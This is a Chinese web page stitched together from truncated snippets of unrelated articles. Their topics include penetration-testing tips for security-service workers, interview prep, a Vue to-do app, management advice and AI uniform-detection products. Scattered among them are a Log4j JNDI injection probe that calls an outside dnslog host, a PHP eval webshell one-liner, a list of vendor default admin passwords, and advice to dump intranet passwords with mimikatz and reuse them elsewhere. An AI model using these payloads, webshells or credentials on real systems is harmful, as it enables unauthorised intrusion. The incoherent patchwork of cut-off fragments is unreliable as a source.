安服仔养成篇——漏洞修复

漏洞披露是安全服务工作的日常内容之一，常见漏洞扫描和渗透测试两种方式，完整的工作流程还包括了后续的复核以及提供漏洞整改建议，这篇文章给大家分享一下up在漏洞修复上的一些经验和容易遇到的问题，希望能对师傅们有所帮助。

为摸鱼而生，安服仔必备

作为一名安服/渗透仔（悲），难免会经常跟各种报告打交道，在写报告的时候经常花费大量时间在各种繁琐的漏洞描述、危害、修复建议上，每次遇到同样的漏洞又得再重复一遍，非常影响摸鱼效率；因此出现了这个Wiki， 3、sourceMap 源码泄露 漏洞描述 webpack 是一个 JavaScript 应用程序的静态资源打包器。 3、在每个目录下创建一个空的index.html页面，‌以防止目录浏览。‌ 3、限制对敏感或特权API端点的访问，‌确保只有具有特定权限的用户或角色才能访问。‌ 3、使用ORM（对象关系映射）工具或安全的数据库抽象层来减少手动拼接SQL的需要。 4、限制数据库账户权限，只提供必要的访问权限。

安服仔番外——IaaS、PaaS、SaaS

云安全也是很重要的一个方向，当然了，今天开启这一篇的目的是up发现安服仔们需要懂的东西很多，确实不只局限于所谓的设备、漏扫、渗透之类的大家明面上都懂的，持续学习！ 数据作为关键词，在参考了深某服社区的帖子后我得出的一个大概的理解是，上述IaaS、PaaS、SaaS虽然分层明确，但注重提供的是服务，用户得到的是解决方案，但DaaS想提供的是结论，一个在起点，一个想直接到终点

记一次安服仔的逆袭 | 实战

不信邪的我开始手工测试，登录框插入 poc ${jndi:ldap://xxx.dnslog.cn/f3qetn} ,静待回显。 直到下午 3 点多，才测出两个小漏洞,开始思考以往看过的文章，对我来讲无非三个思路: 1、续收集资产 2、寻找 js 接口 3、弱口令突破。 但 1 和 3 这两种方法之前已经投入了比较多的时间，个人也不想继续了，寻找 js 接口的操作已经看过很多文章但并没有在实战中真正用到，不如趁着这次机会实践一下。

安服仔偷懒必备技能之自动化主机检查脚本

for去掉了，上面的表格是需要循环的时候用的，下面针对单个服务器进行说明IP = data[i][0]port = data[i][1]name=data[i][2]password=data[i][3] 检测到当前主机数：")print(L)for i in range(0,L):IP = data[i][0]port = data[i][1]name=data[i][2]password=data[i][3]

安服——渗透测试

以我的经验来看，如果是2个或者3个，并且这几个地址是同一地区的不同运营商的话，则很有可能这几个地址是服务器的出口地址，该服务器在内网中，通过不同运营商NAT映射供互联网访问，同时采用几个不同的运营商可以负载均衡和热备份 3）网站指纹识别 在渗透测试中，对目标服务器进行指纹识别是相当有必要的，因为只有识别出相应的Web容器或者CMS，才能查找与其相关的漏洞，然后才能进行相应的渗透操作。CMS又称整站系统。 php $a=array($_REQUEST["x"]=>"3"); $b=array_keys($a)[0]; eval($b);?

安服神器 | FuzzScanner

一个用来进行信息搜集的工具集，主要是用于对网站子域名、开放端口、端口指纹、c段地址、敏感目录、链接爬取等信息进行批量搜集。

渗透实战|双记一次安服仔薅洞实战-前端JS的相爱相杀

文章首发于:奇安信攻防社区 https://forum.butian.net/share/1441 哈喽everyone，我又双回来了，猴子点点的渗透测试工程师这次来分享一个关于前端JS渗透测试的实战教程

初级安服面试攻略

答：（一样抄作业↓） 1.失效的访问控制（Broken Access Control） 2.加密机制失效（Cryptographic Failures） 3.注入 4.不安全设计 5.安全配置错误 6. 以上几个问题是出现概率较高的，其他也有遇到过的问题诸如反序列化（包括一些别的渗透类的）等保整改、基线检查有没有做过等，就交给师傅们自己去了解了，碰到的不是特别多，目前和几个朋友面试的安服岗基本是甲方怼着经历死问

安服实战的小技巧

把自己做安服的几个小Tips记录一下，以前做攻防出身的我，最近忙于安全服务，一脸的懵逼，对于安全服务，目标是固定的，不能够横向渗透，也不能纵向渗透，就是硬刚，各大官网主站头疼的不行，但是每次都能发现几个比较有意思的漏洞 ，各种路径真的想都想不到，但是真的会有一些开发会把后台某个功能的路径写到js里面，所以好好看一下js，如果能找到后台路径一般会存在后台部分功能未授权访问、进而导致存储XSS、后台SQL注入等漏洞 3、 用的编辑器等） 另外 经历过安服 大大小小的项目 有个二三十个 通过总结，发现 大部分内网的密码 都一样 所以只要控了一台机器，猕猴桃抓下密码 撞一下库 你就会看见不一样的彩虹。 登录地址:https://192.168.0.1 用户名:admin 密码:cisco Huawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123 H3C netscreen 迪 普 192.168.0.1 默认的用户名和密码（admin/admin_default) 山石 192.168.1.1 默认的管理账号为hillstone，密码为hillstone 安恒的明御防火墙

Vite+Vue3 项目 华仔待办

此“华仔”，不是彼“华仔”，你懂的！先来了个截图紧跟着，实现步骤也来了1. vue@latest，项目名 vue-to-do，后面的选项全选 No；2. cd vue-to-do 进入项目目录，npm install 安装依赖，npm run dev 启动 Vite 开发服务器；3. /favicon.ico"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>华仔待办 </template><style scoped></style>src/components/ToDoHead.vue<script setup></script><template>

华仔待办

职场安仔说《人性化和制度化平衡管理》

ps:一个闽南人对职场管理“瓯北公”（胡乱讲），通过某个职场案例，来分享个人见解，让你了解职场的常规操作，很感谢管理学堂的场景案例。 操作难度：★★★☆ 案例： 作为管理者，我们经常被安利的管理理念：尊重员工忽略他们的缺点,多看他们的优点，要多相信员工的自觉性，不要用太多条条框框的制度约束员工，倡导的 “人性化”管理方式，这样有利于加强员工的凝聚力、向心力。而制度化管理化的管理同样有利于规范员工行为，养成良好的工作习惯，更加有利于公司规模化的管理和业务发展 过于“人性化”会也打击了很多一心向上的人，他们觉得做得好没有奖励，做得不好也没什么关系，即便是比较严重的问题，最多也不过是被叫去谈话，过于“制度化”同样容易挫伤员工的积极性和主动性，不利于员工的创造性发挥。

正本清源：安服究竟是什么？

； 文章主要讲述自己长期以来对于安服的见解，以及给一些即将要加入安服的人一些参考，建议谈不上，个人偏见而已； 总体来说，对于安服大多有 2 种： 1、安服不行：尤其是驻场安服，整天无所事事，陪着客户喝茶 （1）针对性的提供安全服务：有针对行业的，有针对性特定的安全风险场景，有基于安全面的（数据安全，应用安全...） （2）云化：不得不说上云是趋势，如何快速的提供服务和适配是各大安全服务方的挑战； （3） ，安服就会被铁盒子所替代，根本不需要所谓的安服，这是一方面；另外就是安服究竟是什么？ 安服太好了，是因为她接纳性和容忍度高，没有强势的门槛去限制你，但如果你以为所有人可以做好安服那就存在偏见了，安服多，好安服少，不要在舒适区做安服。 安全服务内容涉及的技术和研究内容有所掌握，这里是解决问题的主要能力，所以需要对漏洞挖掘，应急响应，样本分析，威胁情报，入侵检测等技术有着一定了解，不说能够自己造轮子，至少要能够使用轮子，或者在已有基础上去更新策略和安全防护水平； 3、

今天情人节，我知道你们想看这个

是什么让你们觉得挖蛙这种不谙世事的、天真无邪的3岁单纯大男孩，会有红橙X绿青蓝紫片的？ 本蛙只能找到高清无码的葫芦娃好吗？俺可是正经人！ 今天情人节，盒子有大瓜！ 据说盒子安服仔的“私密”视频流出 ，本蛙安全圈“卓伟”名号可不是白来，拿到了一手资源，都是自家人，挖蛙带大家先睹为快！ 祝各位表哥情人节快乐 在这个特殊的日子里 让“安全”无法撼动 （单身狗含泪敲字） 关注F B 知识大陆帮会：漏洞盒子安服团队 看 高 清 无 码 葫 芦 娃 详情点击 阅读原文

视频云存储安防监控AI视频智能分析网关V3：工服检测功能详解

在一些工地、后厨、化工、电力等特定的场景中，工服的穿戴是必不可少的。这不仅是安全制度的要求，更能降低工作风险、提高工作效率。 我们的 AI 边缘计算网关硬件 —— 智能分析网关目前有 5 个版本：V1、V2、V3、V4、V5，每个版本都能实现对监控视频的智能识别和分析，支持抓拍、记录、告警等，每个版本在算法模型及性能配置上略有不同

渗透测试常用武器分享 第五期(SRC批量工具)

//github.com/zongdeiqianxing/Autoscanner SecurityServiceBox 开源 | 批量工具 | Python | 29 Star 简介: 一个既可以满足安服仔日常渗透工作也可以批量刷洞的工具盒子 集合了常见的域名收集、目录扫描、ip扫描、指纹扫描、PoC验证等常用工具，方便安服仔快速展开渗透测试 点评: 最近1周内新更新,感觉日常快速验证可以试试 地址: https://github.com/ 该项目中目前集成：crawlergo OneForAll subDomainsBrute Subfinder Sublist3r Xray JSfinder pppXray Server酱 点评: 文档写的也清晰

蚂蚁金服面经（3+4）

后来走了蚂蚁金服财富事业群这边的流程。前几天刚刚面完HR。 正好今天分享一下面经，回馈下牛客，大家可以多交流交流哈。 蚂蚁中间件（面了三次，两次一面，一次二面）   蚂蚁金服中间件一号机   一面：   自我介绍 1Java中的多线程了解么，线程池的增长策略和拒绝策略了解么，说一下。 3讲了一下fixthreadpool的增长策略，然后几种拒绝策略。 还跟我说他们部门3个华科的，校友多多。 16Spring和Springmvc讲一下。讲了Spring的ioc和aop，Springmvc的基本架构，请求流程。 蚂蚁金服中间件二号机   一面：   1 自我介绍 2 讲一下ArrayList和linkedlist的区别，ArrayList的扩容方式，扩容时机。 3 hashmap的实现。

厨师帽厨师服口罩穿戴人脸识别-智慧食安监督系统

厨师帽厨师服口罩穿戴人脸识别就是指在监管前提下提早设定查验区域，当规定区域有不戴厨师帽不穿戴厨师服或者口罩，系统自动会警报。 厨师帽厨师服口罩穿戴人脸识别-智慧食安监督系统根据视频智能分析商品，在数据分析系统优化计算方法服务中，扩展了非厨房工作人员 进入后厨以及不戴口罩的厨师进行识别报警。 厨师帽厨师服口罩穿戴人脸识别系统在使用中，不戴厨师帽，或者有抽烟等违规的情形，那样设定在餐厅厨房的画面就会被智能化拍摄，在大屏幕推送相对应违规图片。

蚂蚁金服发布“数安联盟”，立足生态输出安全能力

“网络安全生态峰会”由中国互联网协会、阿里巴巴集团与蚂蚁金服集团共同举办，蚂蚁金服在峰会中发布了“蚂蚁数据安全与隐私保障联盟”（以下简称“蚂蚁数安联盟”）的方案与规划。 蚂蚁金服副总裁 芮雄文 芮雄文向蚂蚁金服的生态企业建议：未来需要在强化内部数据安全管理体系、探索新技术在大数据业务场景的应用等维度，积极行动。 加入联盟需签署公约 此前海外爆发的安全事件，如3月Facebook被舆论爆出数据泄露；以及各国相关法规的出台都意味着：无视或忽视网络安全和用户隐私的企业，将从市场和监管两个方面受到惩罚。 蚂蚁金服集团大安全资深总监 冯春培 蚂蚁金服在2016年通过了ISO27001信息安全管理体系认证，标志着其信息安全管理已进入国际化标准水平；同时，在等级保护建设方面，其中一些重要系统获得信息安全等级保护三级以上认证 这些能力和经验，在今天同样可为“蚂蚁数安联盟”所借鉴。目前，蚂蚁金服已完成国内国际40+家生态企业的数据安全风险评估与风险改进。

不会还有人不会测安卓吧

本大学牲最近去实习了，当上了牛马安服仔 碰到了个测试app的活，但是得测客户端和服务端 作为一名菜鸟大学牲，哪里会测客户端啊，纯纯web狗，于是向移动端的师傅请教了下，学了几个客户端水洞，给大家分享下 总结 希望这些客户端水洞能给大家带来一些收获hhh，大学牲安服仔继续前行！